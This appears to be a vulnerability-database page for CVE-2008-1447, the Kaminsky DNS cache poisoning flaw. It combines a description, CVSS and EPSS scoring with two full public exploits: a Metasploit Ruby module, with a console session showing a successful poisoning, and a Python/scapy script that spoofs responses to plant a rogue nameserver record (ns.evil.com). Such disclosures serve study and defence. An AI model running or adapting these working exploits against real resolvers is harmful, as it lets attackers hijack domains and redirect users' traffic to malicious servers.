CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
The DNS protocol, as implemented in (1) BIND 8 and 9 before 9.5.0-P1, 9.4.2-P1, and 9.3.5-P1; (2) Microsoft DNS in Windows 2000 SP4, XP SP2 and SP3, and Server 2003 SP1 and SP2; and other implementations allow remote attackers to spoof DNS traffic via a birthday attack that uses in-bailiwick referrals to conduct cache poisoning against recursive resolvers, related to insufficient randomness of DNS transaction IDs and source ports, aka "DNS Insufficient Socket Entropy Vulnerability" or "the Kaminsky bug."
Insufficient Entropy The product uses an algorithm or scheme that produces insufficient entropy, leaving patterns or clusters of values that are more likely to occur than others.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V3.1
6.8
MEDIUM
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
High
successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Changed
An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
None
There is no loss of confidentiality within the impacted component.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
None
There is no impact to availability within the impacted component.
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V2
5
AV:N/AC:L/Au:N/C:N/I:P/A:N
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
76.26%
–
–
2023-03-12
–
–
–
10.91%
–
2023-04-02
–
–
–
10.56%
–
2023-05-14
–
–
–
11.97%
–
2023-06-11
–
–
–
11.97%
–
2023-11-05
–
–
–
13.08%
–
2024-01-21
–
–
–
10.12%
–
2024-02-11
–
–
–
10.12%
–
2024-03-31
–
–
–
13.25%
–
2024-06-02
–
–
–
13.25%
–
2024-06-02
–
–
–
13.25%
–
2024-07-14
–
–
–
12.18%
–
2024-08-25
–
–
–
11.76%
–
2024-11-03
–
–
–
13.95%
–
2024-12-15
–
–
–
14.58%
–
2024-12-22
–
–
–
24.71%
–
2025-01-19
–
–
–
24.71%
–
2025-03-18
–
–
–
–
92.31%
2025-03-18
–
–
–
–
92.31,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
____ ____ __ __
/ \ / \ | | | |
----====####/ /\__\##/ /\ \##| |##| |####====----
| | | |__| | | | | |
| | ___ | __ | | | | |
------======######\ \/ /#| |##| |#| |##| |######======------
\____/ |__| |__| \______/
Computer Academic Underground
http://www.caughq.org
Exploit Code
===============/========================================================
Exploit ID: CAU-EX-2008-0003
Release Date: 2008.07.23
Title: bailiwicked_domain.rb
Description: Kaminsky DNS Cache Poisoning Flaw Exploit for Domains
Tested: BIND 9.4.1-9.4.2
Attributes: Remote, Poison, Resolver, Metasploit
Exploit URL: http://www.caughq.org/exploits/CAU-EX-2008-0003.txt
Author/Email: I)ruid <druid (@) caughq.org>
H D Moore <hdm (@) metasploit.com>
===============/========================================================
Description
===========
This exploit targets a fairly ubiquitous flaw in DNS implementations
which allow the insertion of malicious DNS records into the cache of the
target nameserver. This exploit caches a single malicious nameserver
entry into the target nameserver which replaces the legitimate
nameservers for the target domain. By causing the target nameserver to
query for random hostnames at the target domain, the attacker can spoof
a response to the target server including an answer for the query, an
authority server record, and an additional record for that server,
causing target nameserver to insert the additional record into the
cache. This insertion completely replaces the original nameserver
records for the target domain.
Example
=======
# /msf3/msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
=[ msf v3.2-release
+ -- --=[ 298 exploits - 124 payloads
+ -- --=[ 18 encoders - 6 nops
=[ 73 aux
msf > use auxiliary/spoof/dns/bailiwicked_domain
msf auxiliary(bailiwicked_domain) > set RHOST A.B.C.D
RHOST => A.B.C.D
msf auxiliary(bailiwicked_domain) > set DOMAIN example.com
DOMAIN => example.com
msf auxiliary(bailiwicked_domain) > set NEWDNS dns01.metasploit.com
NEWDNS => dns01.metasploit.com
msf auxiliary(bailiwicked_domain) > set SRCPORT 0
SRCPORT => 0
msf auxiliary(bailiwicked_domain) > check
[*] Using the Metasploit service to verify exploitability...
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] FAIL: This server uses static source ports and is vulnerable to poisoning
msf auxiliary(bailiwicked_domain) > dig +short -t ns example.com @A.B.C.D
[*] exec: dig +short -t ns example.com @A.B.C.D
b.iana-servers.net.
a.iana-servers.net.
msf auxiliary(bailiwicked_domain) > run
[*] Switching to target port 50391 based on Metasploit service
[*] Targeting nameserver A.B.C.D for injection of example.com. nameservers as dns01.metasploit.com
[*] Querying recon nameserver for example.com.'s nameservers...
[*] Got an NS record: example.com. 171957 IN NS b.iana-servers.net.
[*] Querying recon nameserver for address of b.iana-servers.net....
[*] Got an A record: b.iana-servers.net. 171028 IN A 193.0.0.236
[*] Checking Authoritativeness: Querying 193.0.0.236 for example.com....
[*] b.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Got an NS record: example.com. 171957 IN NS a.iana-servers.net.
[*] Querying recon nameserver for address of a.iana-servers.net....
[*] Got an A record: a.iana-servers.net. 171414 IN A 192.0.34.43
[*] Checking Authoritativeness: Querying 192.0.34.43 for example.com....
[*] a.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Attempting to inject poison records for example.com.'s nameservers into A.B.C.D:50391...
[*] Sent 1000 queries and 20000 spoofed responses...
[*] Sent 2000 queries and 40000 spoofed responses...
[*] Sent 3000 queries and 60000 spoofed responses...
[*] Sent 4000 queries and 80000 spoofed responses...
[*] Sent 5000 queries and 100000 spoofed responses...
[*] Sent 6000 queries and 120000 spoofed responses...
[*] Sent 7000 queries and 140000 spoofed responses...
[*] Sent 8000 queries and 160000 spoofed responses...
[*] Sent 9000 queries and 180000 spoofed responses...
[*] Sent 10000 queries and 200000 spoofed responses...
[*] Sent 11000 queries and 220000 spoofed responses...
[*] Sent 12000 queries and 240000 spoofed responses...
[*] Sent 13000 queries and 260000 spoofed responses...
[*] Poisoning successful after 13250 attempts: example.com. == dns01.metasploit.com
[*] Auxiliary module execution completed
msf auxiliary(bailiwicked_domain) > dig +short -t ns example.com @A.B.C.D
[*] exec: dig +short -t ns example.com @A.B.C.D
dns01.metasploit.com.
Credits
=======
Dan Kaminsky is credited with originally discovering this vulnerability.
Cedric Blancher <sid (@) rstack.org> figured out the NS injection method and
was cool enough to email us and share!
References
==========
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447
http://www.kb.cert.org/vuls/id/800113
Metasploit
==========
require 'msf/core'
require 'net/dns'
require 'scruby'
require 'resolv'
module Msf
class Auxiliary::Spoof::Dns::BailiWickedDomain < Msf::Auxiliary
include Exploit::Remote::Ip
def initialize(info = {})
super(update_info(info,
'Name' => 'DNS BailiWicked Domain Attack',
'Description' => %q{
This exploit attacks a fairly ubiquitous flaw in DNS implementations which
Dan Kaminsky found and disclosed ~Jul 2008. This exploit replaces the target
domains nameserver entries in a vulnerable DNS cache server. This attack works
by sending random hostname queries to the target DNS server coupled with spoofed
replies to those queries from the authoritative nameservers for that domain.
Eventually, a guessed ID will match, the spoofed packet will get accepted, and
the nameserver entries for the target domain will be replaced by the server
specified in the NEWDNS option of this exploit.
},
'Author' =>
[
' I)ruid', 'hdm',
#
'Cedric Blancher <sid[at]rstack.org>' # Cedric figured out the NS injection method
# and was cool enough to email us and share!
#
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 5591 $',
'References' =>
[
[ 'CVE', '2008-1447' ],
[ 'US-CERT-VU', '8000113' ],
[ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0003.txt' ],
],
'DisclosureDate' => 'Jul 21 2008'
))
register_options(
[
OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
OptString.new('DOMAIN', [true, 'The domain to hijack', 'example.com']),
OptString.new('NEWDNS', [true, 'The hostname of the replacement DNS server', nil]),
OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
OptInt.new('TTL', [true, 'TTL for the malicious NS entry', 31337]),
], self.class)
end
def auxiliary_commands
return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
end
def cmd_check(*args)
targ = args[0] || rhost()
if(not (targ and targ.length > 0))
print_status("usage: check [dns-server]")
return
end
print_status("Using the Metasploit service to verify exploitability...")
srv_sock = Rex::Socket.create_udp(
'PeerHost' => targ,
'PeerPort' => 53
)
random = false
ports = []
lport = nil
1.upto(5) do |i|
req = Resolv::DNS::Message.new
txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1
srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()
if res and res.length > 0
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port = $1.split(':')
print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
t_port = t_port.to_i
if(lport and lport != t_port)
random = true
end
lport = t_port
ports << t_port
end
end
end
end
srv_sock.close
if(ports.length < 5)
print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
return
end
if(random)
print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")
print_status(" This server may still be exploitable, but not by this tool.")
else
print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
end
end
def run
target = rhost()
source = Rex::Socket.source_address(target)
sport = datastore['SRCPORT']
domain = datastore['DOMAIN'] + '.'
newdns = datastore['NEWDNS']
recons = datastore['RECONS']
xids = datastore['XIDS'].to_i
newttl = datastore['TTL'].to_i
xidbase = rand(20001) + 20000
address = Rex::Text.rand_text(4).unpack("C4").join(".")
srv_sock = Rex::Socket.create_udp(
'PeerHost' => target,
'PeerPort' => 53
)
# Get the source port via the metasploit service if it's not set
if sport.to_i == 0
req = Resolv::DNS::Message.new
txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1
srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()
if res and res.length > 0
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port = $1.split(':')
sport = t_port.to_i
print_status("Switching to target port #{sport} based on Metasploit service")
if target != t_addr
print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
end
end
end
end
end
# Verify its not already poisoned
begin
query = Resolv::DNS::Message.new
query.add_question(domain, Resolv::DNS::Resource::IN::NS)
query.rd = 0
begin
cached = false
srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()
if answer and answer.length > 0
answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
if((name.to_s + ".") == domain and data.name.to_s == newdns)
t = Time.now + ttl
print_status("Failure: This domain is already using #{newdns} as a nameserver")
print_status(" Cache entry expires on #{t.to_s}")
srv_sock.close
disconnect_ip
return
end
end
end
end until not cached
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
end
res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver
print_status "Targeting nameserver #{target} for injection of #{domain} nameservers as #{newdns}"
# Look up the nameservers for the domain
print_status "Querying recon nameserver for #{domain}'s nameservers..."
answer0 = res0.send(domain, Net::DNS::NS)
#print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
barbs = [] # storage for nameservers
answer0.answer.each do |rr0|
print_status " Got an #{rr0.type} record: #{rr0.inspect}"
if rr0.type == 'NS'
print_status " Querying recon nameserver for address of #{rr0.nsdname}..."
answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
#print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
answer1.answer.each do |rr1|
print_status " Got an #{rr1.type} record: #{rr1.inspect}"
res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
answer2 = res2.send(domain)
if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
nsrec = {:name => rr0.nsdname, :addr => rr1.address}
barbs << nsrec
print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
end
end
end
end
if barbs.length == 0
print_status( "No DNS servers found.")
srv_sock.close
disconnect_ip
return
end
# Flood the target with queries and spoofed responses, one will eventually hit
queries = 0
responses = 0
connect_ip if not ip_sock
print_status( "Attempting to inject poison records for #{domain}'s nameservers into #{target}:#{sport}...")
while true
randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname
# Send spoofed query
req = Resolv::DNS::Message.new
req.id = rand(2**16)
req.add_question(randhost, Resolv::DNS::Resource::IN::A)
req.rd = 1
buff = (
Scruby::IP.new(
#:src => barbs[0][:addr].to_s,
:src => source,
:dst => target,
:proto => 17
)/Scruby::UDP.new(
:sport => (rand((2**16)-1024)+1024).to_i,
:dport => 53
)/req.encode
).to_net
ip_sock.sendto(buff, target)
queries += 1
# Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address))
req.add_authority(domain, newttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(newdns)))
req.add_additional(newdns, newttl, Resolv::DNS::Resource::IN::A.new(address)) # Ignored
req.qr = 1
req.aa = 1
xidbase.upto(xidbase+xids-1) do |id|
req.id = id
barbs.each do |barb|
buff = (
Scruby::IP.new(
#:src => barbs[i][:addr].to_s,
:src => barb[:addr].to_s,
:dst => target,
:proto => 17
)/Scruby::UDP.new(
:sport => 53,
:dport => sport.to_i
)/req.encode
).to_net
ip_sock.sendto(buff, target)
responses += 1
end
end
# status update
if queries % 1000 == 0
print_status("Sent #{queries} queries and #{responses} spoofed responses...")
end
# every so often, check and see if the target is poisoned...
if queries % 250 == 0
begin
query = Resolv::DNS::Message.new
query.add_question(domain, Resolv::DNS::Resource::IN::NS)
query.rd = 0
srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()
if answer and answer.length > 0
answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
if((name.to_s + ".") == domain and data.name.to_s == newdns)
print_status("Poisoning successful after #{queries} attempts: #{domain} == #{newdns}")
srv_sock.close
disconnect_ip
return
end
end
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
end
end
end
end
end
end
# milw0rm.com [2008-07-23]
from scapy import *
import random
# Copyright (C) 2008 Julien Desfossez <ju@klipix.org>
# http://www.solisproject.net/
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
# This script exploit the flaw discovered by Dan Kaminsky
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447
# http://www.kb.cert.org/vuls/id/800113
# It tries to insert a dummy record in the vulnerable DNS server by guessing
# the transaction ID.
# It also insert Authority record for a valid record of the target domain.
# To use this script, you have to discover the source port used by the vulnerable
# DNS server.
# Python is really slow, so it will take some time, but it works :-)
# IP to insert for our dummy record
targetip = "X.X.X.X"
# Vulnerable recursive DNS server
targetdns = "X.X.X.X"
# Authoritative NS for the target domain
srcdns = ["X.X.X.X"]
# Domain to play with
dummydomain = ""
basedomain = ".example.com."
# sub-domain to claim authority on
domain = "sub.example.com."
# Spoofed authoritative DNS for the sub-domain
spoof="ns.evil.com."
# src port of vulnerable DNS for recursive queries
dnsport = 32883
# base packet
rep = IP(dst=targetdns, src=srcdns[0])/ \
UDP(sport=53, dport=dnsport)/ \
DNS(id=99, qr=1, rd=1, ra=1, qdcount=1, ancount=1, nscount=1, arcount=0,
qd=DNSQR(qname=dummydomain, qtype=1, qclass=1),
an=DNSRR(rrname=dummydomain, ttl=70000, rdata=targetip, rdlen=4),
ns=DNSRR(rrname=domain, rclass=1, ttl=70000, rdata=spoof, rdlen=len(spoof)+1, type=2)
)
currentid = 1024
dummyid = 3
while 1:
dummydomain = "a" + str(dummyid) + basedomain
dummyid = dummyid + 1
# request for our dummydomain
req = IP(dst=targetdns)/ \
UDP(sport=random.randint(1025, 65000), dport=53)/ \
DNS(id=99, opcode=0, qr=0, rd=1, ra=0, qdcount=1, ancount=0, nscount=0, arcount=0,
qd=DNSQR(qname=dummydomain, qtype=1, qclass=1),
an=0,
ns=0,
ar=0
)
send(req)
# build the response
rep.getlayer(DNS).qd.qname = dummydomain
rep.getlayer(DNS).an.rrname = dummydomain
for i in range(50):
# TXID
rep.getlayer(DNS).id = currentid
currentid = currentid + 1
if currentid == 65536:
currentid = 1024
# len and chksum
rep.getlayer(UDP).len = IP(str(rep)).len-20
rep[UDP].post_build(str(rep[UDP]), str(rep[UDP].payload))
print "Sending our reply from %s with TXID = %s for %s" % (srcdns[0], str(rep.getlayer(DNS).id), dummydomain)
send(rep, verbose=0)
# check to see if it worked
req = IP(dst=targetdns)/ \
UDP(sport=random.randint(1025, 65000), dport=53)/ \
DNS(id=99, opcode=0, qr=0, rd=1, ra=0, qdcount=1, ancount=0, nscount=0, arcount=0,
qd=DNSQR(qname=dummydomain, qtype=1, qclass=1),
an=0,
ns=0,
ar=0
)
z = sr1(req, timeout=2, retry=0, verbose=0)
try:
if z[DNS].an.rdata == targetip:
print "Successfully poisonned our target with a dummy record !!"
break
except:
print "Poisonning failed"
# milw0rm.com [2008-07-24]